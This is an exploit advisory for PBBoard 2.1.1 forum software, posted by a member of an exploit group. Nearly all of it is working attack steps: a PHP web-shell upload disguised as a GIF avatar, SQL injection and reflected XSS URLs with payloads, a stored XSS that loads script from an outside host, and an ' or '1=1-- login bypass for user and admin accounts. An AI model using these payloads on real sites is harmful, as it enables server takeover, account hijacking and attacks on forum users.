pbboard 2.1.1 - Multiple Vulnerabilities

==================================================
PBBoard 2.1.1 Multiple Remote Vulnerabilities
==================================================

  |=-----------------------------------------------------=|
  |=-------------=[  JIKO |No-exploit.Com|  ]=-----------=|
  |=-----------------------------------------------------=|
[~]-----------|00|
NAme    :JIKO (JAWAD)
Home    :No-exploit.Com
Mail    : !x!
[~]-----------|01|
    -{Script}
    name :PBBoard_v2.1.1
    link :http://www.pbboard.com/PBBoard_v2.1.1.zip

[~]-----------|02|
    -{3xpl01t}

    upload Shell and file .exe ....etc :(
    http://localhost/ara/index.php?page=usercp&control=1&avatar=1&main=1
    select From my Pc
    and upload your Shell php with GIF89a; you can see the size of img is long use a programme for inser php code in img

    sql & xss
    all script is infected :(
    inser '( in all % variable in the script
    SQl :/index.php?page=forum&show=1&id=2'a
    Xss :/index.php?page=forum&show=1&id=2'a<br>hello <script>alert(123)</script>

    SQl :/index.php?page=profile&show=1&username=jawad'
    SQl :/index.php?page=profile&show=1&username=jawad' and id='1
    Xss :/index.php?page=profile&show=1&username=jawad'a<br>hello <script>alert(123)</script>
    ........etc

    Xss In Profil

    Url :/index.php?page=usercp&control=1&avatar=1&main=1
    Select img From Url
    http://"><SCRIPT/XSS SRC="http://no-exploit/xss.js"></SCRIPT>.gif

    Login :(

    User : real name of admin or member you want | jawad' or '1=1--
    Pass : jiko

    for admin panel

    Url  : /admin.php
    User : jawad' or '1=1--
    Pass : jiko
    :((..Etc exploit


[~]-----------|03|
    -{Greetz}
    All my friends
    |No-Exploit.com Members
-------------------------------------